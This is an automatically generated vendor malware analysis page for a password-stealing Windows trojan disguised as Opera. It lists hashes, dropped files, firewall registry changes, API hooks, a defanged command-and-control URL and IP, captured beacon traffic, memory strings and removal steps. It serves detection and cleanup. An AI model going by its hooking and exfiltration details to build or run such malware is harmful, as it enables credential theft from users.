Gen.Variant.Kazy.10474_7332b0c515

by malwarelabrobot on March 15th, 2015 in Malware Descriptions.

Susp_Dropper (Kaspersky), Gen:Variant.Kazy.10474 (B) (Emsisoft), Gen:Variant.Kazy.10474 (AdAware), GenericInjector.YR, BackdoorCaphaw_QKKBAL.YR, TrojanPSWZbot.YR (Lavasoft MAS)
Behaviour: Trojan-PSW, Trojan, Backdoor


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 7332b0c5151bd8e6e51cd68765a6790f
SHA1: 75a90175feba75da223e4b6653bce4aab4f672e3
SHA256: 8a27d50a4d7855e156f4e06ada36d4990bc88ef9ae63bf5b76463cb553657cef
SSDeep: 3072:Zc6Q8d/xBfvCMbViX6z7F0d/cBlnF7TExQf49fxq5GJbufawdRKaouhbzf:BFxVvS6zx0aBlF9f49fxqwbuCraoyH
Size: 148992 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: PackerUPXCompresorGratuitowwwupxsourceforgenet, UPolyXv05_v6
Company: no certificate found
Created at: 2011-04-21 14:05:00
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan-PSW. Trojan program intended for stealing users passwords.

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

uhfyav.exe:1364
%original file name%.exe:1756

The Trojan injects its code into the following process(es):

Explorer.EXE:1572

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:1756 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\tmpdae11fda.bat (177 bytes)
%Documents and Settings%\%current user%\Application Data\Baegi\uhfyav.exe (148 bytes)

Registry activity

The process uhfyav.exe:1364 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "90 0F 36 1F AF 9B D3 2D 3C 1C 5C 8B 6D EC 37 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process %original file name%.exe:1756 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D0 49 F0 7B D1 5B DD 58 1E A0 98 34 E8 68 5A B6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Toad]
"Rovyw" = "A3 FD D8 C1 A1 C9 9C 67 D4 EE E0 F5 A4 01 01 D2"

Adds a rule to the firewall Windows which allows any network activity:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\%windir%]
"explorer.exe" = "%windir%\explorer.exe"

The Trojan adds process executable file it works in to the list of trusted Windows Firewall applications:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List\%windir%]
"explorer.exe" = "%windir%\explorer.exe"

Dropped PE files

MD5 File path
dafc7b1cc92de9126bfb9b54fb554b54 c:\Documents and Settings\"%CurrentUserName%"\Application Data\Baegi\uhfyav.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan installs the following user-mode hooks in WININET.dll:

HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetQueryDataAvailable
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle

The Trojan installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan installs the following user-mode hooks in USER32.dll:

SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC

The Trojan installs the following user-mode hooks in WS2_32.dll:

WSASend
send
closesocket

The Trojan installs the following user-mode hooks in kernel32.dll:

GetFileAttributesExW

The Trojan installs the following user-mode hooks in ntdll.dll:

LdrLoadDll
NtCreateThread

Propagation

VersionInfo

Company Name: Opera Software
Product Name: Opera Internet Browser
Product Version: 11.61
Legal Copyright: Copyright (c) Opera Software 1995-2012
Legal Trademarks:
Original Filename: Opera.exe
Internal Name: Opera
File Version: 1250
File Description: Opera Internet Browser
Comments:
Language: English (United States)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
UPX0 4096 155648 0 0 d41d8cd98f00b204e9800998ecf8427e
UPX1 159744 147456 145920 5.54279 a7f49a536c724d1a7244b97ec4e6d35c
.rsrc 307200 4096 1536 2.17673 b558fcd0c05208542f942c3dd1edcdf4

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://layerofficerez.com/bxs/wedzx.php 82.165.37.26


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

POST /bxs/wedzx.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: layerofficerez.com
Content-Length: 64
Cache-Control: no-cache

.. .w. .M.KuM.(@...c`.C..bS....&.,.....aYd5..ut.6 ..4...4.....E.
HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Sat, 14 Mar 2015 21:37:29 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
2</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->....



POST /bxs/wedzx.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: layerofficerez.com
Content-Length: 64
Cache-Control: no-cache

.. .w. .M.KuM.(@...c`.C..bS....&.,.....aYd5..ut.6 ..4...4.....E.
HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Sat, 14 Mar 2015 21:37:29 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
2</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->....



POST /bxs/wedzx.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: layerofficerez.com
Content-Length: 64
Cache-Control: no-cache

.. .w. .M.KuM.(@...c`.C..bS....&.,.....aYd5..ut.6 ..4...4.....E.
HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Sat, 14 Mar 2015 21:37:24 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
2</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->....



POST /bxs/wedzx.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: layerofficerez.com
Content-Length: 64
Cache-Control: no-cache

.. .w. .M.KuM.(@...c`.C..bS....&.,.....aYd5..ut.6 ..4...4.....E.
HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Sat, 14 Mar 2015 21:37:19 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
2</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->....



POST /bxs/wedzx.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: layerofficerez.com
Content-Length: 64
Cache-Control: no-cache

.. .w. .M.KuM.(@...c`.C..bS....&.,.....aYd5..ut.6 ..4...4.....E.
HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Sat, 14 Mar 2015 21:37:13 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
2</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->....



POST /bxs/wedzx.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: layerofficerez.com
Content-Length: 64
Cache-Control: no-cache

.. .w. .M.KuM.(@...c`.C..bS....&.,.....aYd5..ut.6 ..4...4.....E.
HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Sat, 14 Mar 2015 21:37:24 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
2</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->....



POST /bxs/wedzx.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: layerofficerez.com
Content-Length: 64
Cache-Control: no-cache

.. .w. .M.KuM.(@...c`.C..bS....&.,.....aYd5..ut.6 ..4...4.....E.
HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Sat, 14 Mar 2015 21:37:13 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
2</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->....



POST /bxs/wedzx.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: layerofficerez.com
Content-Length: 64
Cache-Control: no-cache

.. .w. .M.KuM.(@...c`.C..bS....&.,.....aYd5..ut.6 ..4...4.....E.
HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Sat, 14 Mar 2015 21:37:19 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
2</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->....

The Trojan connects to the servers at the folowing location(s):

Explorer.EXE_1572_rwx_01E20000_00027000:

.text
`.data
.reloc
<=&" (2.  1
6 !26!1'1!
.' 6,7* 9&0
7307#163
5("15"2$2
.( 8&<&6#
3.$73$4"4
?23<2?? 
-/."%1-$$:
;&,?;,<*<'
34!9#."9=
F{qbfqawAQv}kwhucp[Ootfpci{.Lp{fZFRDm`A[K]\G
hXXp://
hXXps://
PR_OpenTCPSocket
*.jpg*|*.js*|*.css*|*.gif*|*.png*|*.ico*
HTTP/1.1
gdiplus.dll
GdiplusShutdown
ole32.dll
gdi32.dll
userenv.dll
del "%s"
if exist "%s" goto d
del /F "%s"
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
Content-Type: application/x-www-form-urlencoded
urlmon.dll
cabinet.dll
PSSSSSSh
SSSh@
GetProcessHeap
KERNEL32.dll
MapVirtualKeyW
GetKeyboardState
OpenWindowStationW
GetProcessWindowStation
CreateWindowStationW
CloseWindowStation
SetProcessWindowStation
ExitWindowsEx
SetKeyboardState
MsgWaitForMultipleObjects
USER32.dll
RegOpenKeyExW
RegEnumKeyExW
RegCloseKey
RegCreateKeyExW
ADVAPI32.dll
PathIsURLW
UrlUnescapeA
SHDeleteKeyW
SHLWAPI.dll
ShellExecuteW
SHELL32.dll
Secur32.dll
SetViewportOrgEx
GDI32.dll
WS2_32.dll
PFXImportCertStore
CertDeleteCertificateFromStore
CertOpenSystemStoreW
CertCloseStore
CertEnumCertificatesInStore
CertDuplicateCertificateContext
PFXExportCertStoreEx
CRYPT32.dll
HttpSendRequestExA
HttpQueryInfoA
HttpSendRequestExW
HttpSendRequestW
HttpSendRequestA
InternetCrackUrlA
HttpOpenRequestA
HttpAddRequestHeadersA
GetUrlCacheEntryInfoW
HttpAddRequestHeadersW
WININET.dll
OLEAUT32.dll
NETAPI32.dll
%}%CZ
3%3S3
nspr4.dll
e.dat
SysShadow
kernel32.dll
"%s" %s
/c "%s"
%sx.%s
%sx
cGlobal\XXX
Global\{68061D29-CEE9-3CBC-1216-BD00F1803844}
%Documents and Settings%\%current user%\Application Data\Pey\nuduak.obl
%Documents and Settings%\%current user%\Application Data\Pey
nuduak.obl
%Documents and Settings%\%current user%\Application Data
{1765293A-FAFA-43DF-1216-BD00F1803844}


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Scan a system with an anti-rootkit tool.
  2. Terminate malicious process(es) (How to End a Process With the Task Manager):

    uhfyav.exe:1364
    %original file name%.exe:1756

  3. Delete the original Trojan file.
  4. Delete or disinfect the following files created/modified by the Trojan:

    %Documents and Settings%\%current user%\Local Settings\Temp\tmpdae11fda.bat (177 bytes)
    %Documents and Settings%\%current user%\Application Data\Baegi\uhfyav.exe (148 bytes)

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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